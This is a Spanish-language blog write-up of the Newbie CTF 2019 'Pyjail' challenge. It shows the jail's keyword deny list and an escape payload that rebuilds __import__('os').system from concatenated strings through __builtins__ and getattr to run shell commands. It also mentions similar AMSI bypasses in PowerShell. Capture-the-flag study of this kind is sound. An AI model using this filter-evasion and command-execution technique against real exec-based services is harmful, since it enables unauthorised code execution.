🐍 Python CTF – Pyjail – Newbie CTF 2019

Hace rato tenía ganas de echar mano a un Pyjail, y Googleando encontré algunos write-up, así que trataré de resolver éste de Newbie CTF 2019, al mismo tiempo que voy escribiendo.

Está publicada la solución, aunque la idea es no usarla; quiero desmenuzar el código y encontrar una solución diferente:

#!/usr/bin/env python3

''' Your job is escape this program and get /bin/sh '''


def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")

    print(open(__file__).read())
    print("========================================================================")

    print("good luck.")
    data = input('> ')

    for keyword in ['import', 'os', 'system', 'open', 'read', 'write', 'eval', 'exec']:

        if keyword in data:
            print("No hack")
            return;
    else:
        exec(data)

if __name__ == "__main__":
    main()

A primera vista, veo que el código no está programado de forma rigurosa, es decir, por ejemplo, no hay control de errores:

Además, hay un ; en el return de la línea 20, y como esto es Python y no PHP, no sé qué hace allí, así que decido modificar el código 😇. El resultado:

#!/usr/bin/env python3

def main():
    while True:
        print("\nHi! Welcome to Pyjail!")
        print("Your job is escape this program and get /bin/sh or read the flag.txt")
        print("========================================================================")
        print("Type Ctrl+c to quit the challenge. Good luck!\n")
        data = input(">>> ")

        try:
            for keyword in ["import", "os", "system", "open", "read", "write", "eval", "exec"]:
                if keyword in data:
                    print("[-] No hack!")
                    main()
            else:
                exec(data)
        except Exception as e:
            print("[-] ",e)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\nGood Bye!")
        exit()

Lectura e Interpretación del Pyjail

El script trata sobre un for loop basado en una lista cuyos elementos son los strings de las principales funciones de Python con las cuales se podría realizar alguna clase de inyección. Sin embargo, ninguna de estas funciones puede ser utilizada.

["import", "os", "system", "open", "read", "write", "eval", "exec"]

Por otro lado, si logramos inyectar una rutina válida, será ejecutada mediante la función exec() usando la variable data.

exec(data)

Información de Apoyo

Solución: uso de strings como nombres de función

Después de leer muy a la rápida la información de apoyo, probé algunas rutinas y ninguna funcionó. Deduje, entonces, que debía probar la función exec() y no perder el tiempo dando palos de ciego:

Estas 3 formas de bypassear la restricción del Pyjail, me hicieron pensar en algo que he implementado en varios programas: utilizar un string como nombre de función.

Entonces, considerando las pruebas de bypass que hice con la función exec(), y el acceso a __builtins__, creo la siguiente rutina a partir de la información de apoyo, usando la función getattr() (built-in function):

ctf = __builtins__.__dict__["__imp"+"ort__"]("o"+"s")
pyjail = getattr(ctf, "sys"+"tem")
pyjail("ls")

Conclusiones

  • No necesariamente hay que estar ahí, en el evento, para situarse en el contexto e intentar resolver un desafío
  • Estas mismas rutinas se usan con PowerShell para bypass de AMSI, así que es probable aplicarlo con otros lenguajes para contextos diferentes
  • Creo que pese a lo rebuscado del CTF, eventualmente estas ideas de kaking podrían usarse para zero-day y CVE hunting